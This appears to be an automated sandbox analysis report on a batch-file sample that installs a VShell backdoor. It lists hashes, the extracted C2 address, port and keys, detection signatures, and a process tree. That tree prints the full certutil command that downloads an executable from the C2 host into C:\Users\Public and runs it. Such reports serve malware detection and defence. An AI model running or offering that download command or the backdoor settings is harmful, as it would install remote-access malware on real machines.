Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 01:48
Static task
static1
Behavioral task
behavioral1
Sample
jaffacakes118_2860ef89a6861d93add0af54eaa9e399ca886307889ea6b5982b19de41f66d43.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
8 signatures
150 seconds
General
- Target jaffacakes118_2860ef89a6861d93add0af54eaa9e399ca886307889ea6b5982b19de41f66d43.bat
- Size 512B
- Sample260910-b8mhyaee84
- SHA256 2860ef89a6861d93add0af54eaa9e399ca886307889ea6b5982b19de41f66d43
- MD5 4350e9d7139f4c8b20d2e44aed2892ff
- SHA1 ef803e1d995526447c98fc0709b3b7273cdbc612
- SHA512 b3a24abdc39ba72c67ae12a58c088e718d0859c162dc79261193025c55dd6f27ea2989aa89ee72da1ac91ab73588f9b6acde6f0bf7321a4ae01e1cc8fcf25761
- TLSH T143F09ECD18324EBD0FC9C873F554A186B40AA0CCCAA1A5D41B9135DD8D480D836EBB92
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
107.173.101.114
Attributes
-
port
10000
-
salt
qwWVRFS
-
type
tcp
-
vkey
qwwrvd
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/4468-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 4 2648 certutil.exe 5 2648 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 4468 267ea19etcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2440 cmd.exe 3464 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4296 WMIC.exe 4296 WMIC.exe 4296 WMIC.exe 4296 WMIC.exe 4468 267ea19etcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4296 WMIC.exe Token: SeSecurityPrivilege 4296 WMIC.exe Token: SeTakeOwnershipPrivilege 4296 WMIC.exe Token: SeLoadDriverPrivilege 4296 WMIC.exe Token: SeSystemProfilePrivilege 4296 WMIC.exe Token: SeSystemtimePrivilege 4296 WMIC.exe Token: SeProfSingleProcessPrivilege 4296 WMIC.exe Token: SeIncBasePriorityPrivilege 4296 WMIC.exe Token: SeCreatePagefilePrivilege 4296 WMIC.exe Token: SeBackupPrivilege 4296 WMIC.exe Token: SeRestorePrivilege 4296 WMIC.exe Token: SeShutdownPrivilege 4296 WMIC.exe Token: SeDebugPrivilege 4296 WMIC.exe Token: SeSystemEnvironmentPrivilege 4296 WMIC.exe Token: SeRemoteShutdownPrivilege 4296 WMIC.exe Token: SeUndockPrivilege 4296 WMIC.exe Token: SeManageVolumePrivilege 4296 WMIC.exe Token: 33 4296 WMIC.exe Token: 34 4296 WMIC.exe Token: 35 4296 WMIC.exe Token: 36 4296 WMIC.exe Token: SeIncreaseQuotaPrivilege 4296 WMIC.exe Token: SeSecurityPrivilege 4296 WMIC.exe Token: SeTakeOwnershipPrivilege 4296 WMIC.exe Token: SeLoadDriverPrivilege 4296 WMIC.exe Token: SeSystemProfilePrivilege 4296 WMIC.exe Token: SeSystemtimePrivilege 4296 WMIC.exe Token: SeProfSingleProcessPrivilege 4296 WMIC.exe Token: SeIncBasePriorityPrivilege 4296 WMIC.exe Token: SeCreatePagefilePrivilege 4296 WMIC.exe Token: SeBackupPrivilege 4296 WMIC.exe Token: SeRestorePrivilege 4296 WMIC.exe Token: SeShutdownPrivilege 4296 WMIC.exe Token: SeDebugPrivilege 4296 WMIC.exe Token: SeSystemEnvironmentPrivilege 4296 WMIC.exe Token: SeRemoteShutdownPrivilege 4296 WMIC.exe Token: SeUndockPrivilege 4296 WMIC.exe Token: SeManageVolumePrivilege 4296 WMIC.exe Token: 33 4296 WMIC.exe Token: 34 4296 WMIC.exe Token: 35 4296 WMIC.exe Token: 36 4296 WMIC.exe Token: SeDebugPrivilege 4468 267ea19etcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2440 wrote to memory of 3464 2440 cmd.exe 89 PID 3464 wrote to memory of 4296 3464 cmd.exe 91 PID 3464 wrote to memory of 2032 3464 cmd.exe 92 PID 2440 wrote to memory of 2648 2440 cmd.exe 94 PID 2440 wrote to memory of 4468 2440 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_2860ef89a6861d93add0af54eaa9e399ca886307889ea6b5982b19de41f66d43.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4296
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:2032
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\267ea19etcp.exe"2⤵
- Downloads MZ/PE file
PID:2648
-
-
C:\Users\Public\267ea19etcp.exe"C:\Users\Public\267ea19etcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\267ea19etcp.exe
- Size 3KB
- SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
- MD5 6a1c343bec9f0ae29f493a0a93206542
- SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
- SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
- TLSH T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
- MD5 SHA1 SHA512 TLSH